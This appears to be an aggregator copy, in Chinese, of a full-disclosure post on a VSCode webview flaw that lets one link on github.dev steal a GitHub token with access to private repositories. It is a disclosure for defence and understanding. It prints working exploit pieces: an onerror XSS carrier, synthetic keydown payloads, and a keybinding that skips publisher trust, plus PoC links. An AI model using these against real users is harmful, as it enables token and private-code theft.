全面披露:通过VSCode漏洞一键窃取GitHub令牌

Lobsters Hottest 新闻

摘要

一名安全研究人员披露了VSCode webview中的一个严重漏洞,攻击者可通过诱骗用户点击链接来窃取具有完全访问权限的GitHub OAuth令牌。该漏洞影响github.dev网页编辑器。

<p><a href="https://lobste.rs/s/fysuyw/full_disclosure_1_click_github_token">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/06/03 01:39

# 一键通过 VSCode 漏洞窃取 GitHub 令牌 来源:http://blog.ammaraskar.com/github-token-stealing/ 只需点击一个链接,攻击者就有可能窃取一个能够**读取并写入**你仓库的 GitHub 令牌,包括**私有仓库**。 ### 目录 - [背景](#背景) - [VSCode Webview 安全模型](#vscode-webview-安全模型) - [漏洞](#漏洞) - [PoC 与自我保护](#poc-与自我保护) - [VSCode 做对了什么](#vscode-做对了什么) - [为何选择完全公开](#为何选择完全公开) - [时间线](#时间线) ## 背景 你知道吗?GitHub 有一个非常酷的功能叫 github.dev(https://docs.github.com/en/codespaces/the-githubdev-web-based-editor#about-the-githubdev-editor)。在任何你有权访问的仓库上,只需将 URL 从 `github.com` 改为 `github.dev`,或者点击这个小菜单项: 在 GitHub 文件查看器上使用 github.dev 的下拉选项 你就会进入一个完全运行在浏览器中的轻量版 VSCode(我想这就是用 electron 写 app 的一个好处吧)。 在 github.dev(VSCode 网页界面)中打开的 CPython 文件 这个浏览器中的 VSCode 功能相当强大:你可以查看仓库中的所有文件(即使是私有仓库),可以发起 Pull Request,甚至可以提交代码。这一功能是通过 `github.com` 向 `github.dev` POST 一个 OAuth 令牌实现的,该令牌允许 github.dev 代表你与 GitHub 交互。**该令牌的作用域并不局限于你交互的那个特定仓库**,这意味着它对你有权访问的所有其他仓库拥有完全访问权限。 这个令牌的存在,加上这个 web 应用几乎完整运行了 VSCode 百万行 TypeScript 代码库,使得它成为研究 VSCode 漏洞的绝佳目标。我们接下来要探讨的就是这类漏洞,并展示攻击者如何利用它窃取你的 GitHub 令牌。 ## VSCode Webview 安全模型 作为桌面端的 electron 应用,在 VSCode 中执行任意 JavaScript 就等同于完全的远程代码执行。这就是为什么 VSCode 实现了某种沙盒机制,我们这里重点讨论的是 VSCode 的 webview(https://code.visualstudio.com/api/extension-guides/webview)。 Webview 使用一个与主 VSCode 窗口**不同源**(https://en.wikipedia.org/wiki/Same-origin_policy)的 `<iframe>`,以确保在其中执行的任何 JavaScript 都被完全隔离。这些 webview 用于诸如 Markdown 预览或编辑 Jupyter notebook 等功能: Jupyter notebook 中在 iframe 内渲染的 HTML 单元格的输出被渲染到一个来源为 `vscode-webview://...` 的 `<iframe>` 中,而主 electron 窗口的来源是 `vscode-file://...`。这意味着,即使 Jupyter notebook 使用了内置的显示 HTML 功能(https://stackoverflow.com/a/35760941)或使用 JavaScript 实现交互式小部件(https://ipywidgets.readthedocs.io/en/latest/),实际的 VSCode 核心应用也能免受影响。你不能在这个 iframe 内使用 Electron 与 Node.js API 的集成,也不能从这个框架调用 VSCode 的 API。 很好,这样我们就可以渲染内容了,但静态内容太无聊了。我们如何实现诸如 Markdown 预览显示当前高亮的是哪一行源码,或者在我们编辑时实时更新预览等功能? 显示对应源码行的 Markdown 预览 给予我们安全性的同源策略,同时也阻止了主编辑器窗口与 `vscode-webview://...` 框架中的 DOM 进行交互。毕竟,你不会希望有人用一个 `<iframe>` 就能与 Google 页面交互,从而窃取你的 cookie 或改变那个网站的行为。 ``` > document.getElementsByTagName('iframe')[0].contentWindow.findElementById('foo') Uncaught SecurityError: Failed to read a named property 'findElementById' from 'Window': Blocked a frame with origin "vscode-file://vscode-app" from accessing a cross-origin frame. ``` 让这种行为成为可能的唯一方法是让两个不同源下的网页通过 `Window.postMessage()` API(https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)相互协作。这个方法允许在不同窗口之间发送 JavaScript 对象。 那么,在“显示哪个渲染的 Markdown 行对应哪个编辑器行”这个例子中,主编辑器窗口会发送一条像这样的小消息: ``` { type: "onDidChangeTextEditorSelection", line: 31 } ``` 然后运行在 webview 内部的对应代码会有一个监听器来接收这条消息,并添加高亮(https://github.com/microsoft/vscode/blob/e4074382086b61bdfb0b6738e0853b2510660d57/extensions/markdown-language-features/preview-src/index.ts#L250): ``` window.addEventListener('message', async event => { const data = event.data as ToWebviewMessage.Type; switch (data.type) { ... case 'onDidChangeTextEditorSelection': marker.onDidChangeTextEditorSelection(data.line, documentVersion); return; ``` **注意**:浏览器中的 VSCode 使用了类似的沙盒模型。VSCode 开发者 Matt Bierner 有一篇关于将其从 Electron 移植过来所面临的挑战的精彩博客,值得一看(https://blog.mattbierner.com/vscode-webview-web-learnings/)。 ## 漏洞 所以我们的 webview 安全边界大致如下: Webview 安全边界 但从 UI 角度看,我们的 webview 正好位于窗口的这个位置。用户期望像点击链接、拖放或按 `Ctrl+F` 这样的基本功能在 webview 内部也能正常工作: 在 VSCode 布局中出现的 Webview 因此,VSCode 通过消息传递机制实现了一系列基本功能,以启用这些特性。 说到键盘快捷键,那些处理过 `<iframe>` 的精明读者可能已经发现了问题所在。与大多数跨源情况一样,浏览器在两个框架之间提供了很好的隔离。如果你有一个页面在 `hackerman.com`,并且你嵌入了 `google.com/login`,你肯定不希望 hackerman 页面能够将键盘监听器附加到那个 `iframe` 上。那会让它看到你在 `google.com` 上的所有按键,从而窃取你的密码。 好了,有了这个信息,试试点击 VSCode 的 webview 内部,然后按 `Ctrl+Shift+P` 调出命令面板。 VSCode 命令面板 **哦,它居然能用了。等等。哦。哦不。** 所以,为了避免当你碰巧点击了 webview 内部时键盘快捷键无法使用的糟糕用户体验,默认的 webview 消息处理器中有一个名为 `did-keydown` 的事件(https://github.com/microsoft/vscode/blob/e4074382086b61bdfb0b6738e0853b2510660d57/src/vs/workbench/contrib/webview/browser/webviewElement.ts#L249-L254)。当你加载一个 webview 时,webview 内部会运行以下代码来注册一个处理器: ``` contentWindow.addEventListener('keydown', handleInnerKeydown); /** * @param {KeyboardEvent} e */ const handleInnerKeydown = (e) => { // ... hostMessaging.postMessage('did-keydown', { key: e.key, keyCode: e.keyCode, code: e.code, shiftKey: e.shiftKey, altKey: e.altKey, ctrlKey: e.ctrlKey, metaKey: e.metaKey, repeat: e.repeat }); }; ``` 多方便啊,webview 就这样把 `keydown` 事件往上冒泡,这样主 VSCode 窗口就可以无缝地将它们视为用户键盘事件来处理。 但是……没有什么能阻止我们在不受信任的 webview 中运行的脚本假装自己是用户,并代表用户按下一堆键。比如,我们可以调出命令面板,然后开始运行危险的命令,比如安装攻击者控制的扩展。我们只需要一点能发出正确事件来模拟按键的 JavaScript…… - Ctrl+Shift+P - `developer: install extension from location` - Enter - `<攻击者控制的扩展>` - Enter 实际上,事情并没有那么简单。虽然我们确实可以发送与该序列对应的 `keydown` 事件,但浏览器不会将其视为用户实际输入。所以 VSCode 会弹出命令面板,但除非 VSCode 正在拦截所有 `keydown` 事件来手动处理每个输入字符,否则我们的事件不会真正在面板中打出文本。 不幸的是,在这种情况下,它并没有监听 `keydown` 事件,命令面板小部件只是使用了一个 HTML `<input>` 标签。我们可以通过发出向上箭头 ↑、向下箭头 ↓ 按键来在命令面板中上下滚动,也可以按 Enter 选择命令,但任意按键输入是不可能的。 幸运的是,VSCode 附带了一大套默认键盘快捷键,所有这些快捷键都直接监听 `keydown`,我们可以尝试利用它们。经过一番折腾,我发现最简单的方法是使用“通知:接受通知主要操作”这个动作。这个默认快捷键 Ctrl+Shift+A 会点击 VSCode 中最后弹出的通知上的主要按钮。 我们要接受什么通知? VSCode 中的推荐扩展通知 VSCode 有一个功能:你的工作区可以通过在名为 `.vscode/extensions.json` 的文件中推荐扩展(https://code.visualstudio.com/docs/configure/extensions/extension-marketplace#_recommended-extensions),文件内容类似这样: ``` { "recommendations": [ "HackerMan.my-malicious-extension" ] } ``` 然后我们就可以用 Ctrl+Shift+A 接受那个通知并安装恶意扩展,从而获得完全代码执行?就这么简单? 还是不行。VSCode 从 1.97 版本开始引入了这个新的发布者信任系统(https://code.visualstudio.com/docs/configure/extensions/extension-runtime-security#_extension-publisher-trust),首次安装来自新发布者的扩展时会弹出这个对话框,即使点击通知中的“安装”按钮也会出现: VSCode 中的发布者信任对话框 虽然我们可以发送 Tab 键按键来在按钮之间导航,但按 Enter 点击“信任发布者并安装”按钮是不可能的,因为它专门监听按钮上的 `keydown` 事件,而不是整个窗口。 不过,我们可以利用另一个 VSCode 功能:**本地工作区扩展**。只要你位于一个受信任的工作区中(github.dev/web 工作区始终是受信任的),就可以直接安装位于 `.vscode/extensions` 中的扩展(https://code.visualstudio.com/updates/v1_89#_local-workspace-extensions)。通过这种方式安装的扩展会跳过受信任发布者检查,而以受信任工作区检查作为信任验证。 所以现在我们可以把恶意负载放在 `.vscode/extensions/extension.js` 中并执行我们自己的代码,对吗?嗯,差不多。但这样做会导致内容安全策略(CSP)错误,因为加载扩展的扩展工作进程期望扩展来自 `vscode-cdn.net`。本地工作区扩展可能没有在 VSCode 网页版上进行充分测试。 本地扩展中的内容安全策略违规 但这只是个小问题。扩展在其 `package.json` 中可以做的事情之一就是为 VSCode 贡献额外的快捷键。由于我们可以可靠地触发快捷键,我们只需为我们想要的任何 VSCode 命令添加一个快捷键即可。比如……安装扩展时跳过受信任发布者检查。 所以我们的 `package.json` 最终像这样,用于调用 `workbench.extensions.installExtension` 并跳过发布者信任检查: ``` "contributes": { "keybindings": [ { "key": "ctrl+f1", "command": "runCommands", "args": { "commands": [ { "command": "workbench.extensions.installExtension", "args": [ "AmmarTest.hello-ammar-github", { "donotSync": true, "context": { "skipPublisherTrust": true } } ] } ] } } ] } ``` 综合起来,我们需要一个包含 **Jupyter notebook** 和 **本地工作区扩展** 的仓库。Jupyter notebook 需要执行一点 JavaScript,我们可以通过一个包含以下内容的 markdown 单元格来实现: ``` <img src="data:foobar" onerror="javascript(); goes(); here();"> ``` 对于我们的 JavaScript 负载,需要执行以下步骤: 1. 等待一小段时间,让 VSCode 弹出询问是否要安装推荐扩展的通知。 2. 发出一个 `keydown` 事件,模拟 Ctrl+Shift+A 以接受通知。 3. 等待一小段时间,让扩展安装并激活,从而注册我们的自定义快捷键。 4. 发出一个 `keydown` 事件,模拟 Ctrl+F1 以触发安装我们选择的扩展。 这个负载最终看起来像这样: ``` // 等待 VSCode 加载并弹出通知。 await sleep(10 * 1000); // ctrl+shift+a,接受询问是否安装推荐扩展的主要通知 window.dispatchEvent( new KeyboardEvent("keydown", {key: "a", code: "KeyA", keyCode: 65, ctrlKey: true, shiftKey: true}) ); // 稍等片刻,让扩展安装... await sleep(500); // ctrl+f1,自定义快捷键用于安装选择的扩展。 window.dispatchEvent( new KeyboardEvent("keydown", {key: "F1", code: "F1", keyCode: 112, ctrlKey: true}) ); ``` ## PoC 与自我保护 现在我们已经了解了细节,让我们看看概念验证。对于最勇敢的读者,请直接点击: https://github.dev/ammaraskar/github-dev-token-steal-poc/blob/main/README.ipynb 这会直接将 github.dev 编辑器启动到该 notebook。你会看到一个小状态消息,显示 JavaScript 负载正在做什么。 概念验证初始页面 一旦负载运行,新安装的扩展会抓取你的 GitHub API 令牌,然后查询 `https://api.github.com/user/repos` 以获取你有权访问的私有仓库。接着它会在一个信息框中打印出这些仓库和你的令牌。 概念验证打印出的私有仓库 两个仓库的代码都在这里: - **安装的扩展**:https://github.com/ammaraskar/vscode-github-token-grab-extension/blob/main/src/extension.ts - **Notebook JS**:https://github.com/ammaraskar/github-dev-token-steal-poc/blame/main/README.ipynb 如果你运行了 PoC,记得清除你的 github.dev 数据(见下文),或者至少卸载概念验证扩展,否则它会一直跟着你访问所有 github.dev 页面。 这个漏洞也存在于桌面版 VSCode 中,不过利用起来更难,因为你需要说服受害者克隆你的仓库并打开带有 webview 脚本负载的 notebook。当然,如果你有其他方式让受害者打开一个包含 XSS 的 webview,那么你实际上就可以在他们的电脑上实现完全的远程代码执行。 ### 自我保护 幸运的是,如果你以前从未使用过 github.dev,那么当你首次访问该网站时会出现一个对话框需要点击通过。以前并不会这样,但 VSCode 的 GitHub 插件做了一些改动导致了这一点。 初始登录对话框 这意味着,如果你清除 github.dev 的 cookie 和本地站点数据,当有人试图用这个攻击对付你时,你可以采取行动并导航离开该页面。我强烈建议你清除 github.dev 的站点数据。在 Chrome 中,可以通过点击 URL 栏中的小图标,然后点击 **Cookie 和站点数据** > **管理设备上的站点数据** 来完成。 在 Chrome 中管理站点数据 然后删除所有域的数据,点击垃圾桶图标: 在 Chrome 中删除站点数据 不幸的是,如果你曾经在 github.dev 上通过了那个对话框,并且没有清除浏览器的本地存储,那么你完全中招了。github.dev 没有任何 CSRF 令牌之类的东西,所以互联网上的任何链接都可以直接打开该网站,

相似文章

GitHub 遭受入侵

Hacker News Top

GitHub 披露了一起安全事件,一名员工的设备因恶意 VS Code 扩展程序遭到入侵,导致内部仓库被未授权访问。该公司已移除该扩展程序并启动了应急响应。

GitLost:我们诱骗GitHub的AI代理泄露私有仓库

Hacker News Top

Noma Labs发现GitHub的Agentic Workflows中存在一个严重的提示注入漏洞,允许未经身份验证的攻击者通过在同一组织的公共仓库中发布精心构造的GitHub Issue,从私有仓库中窃取数据。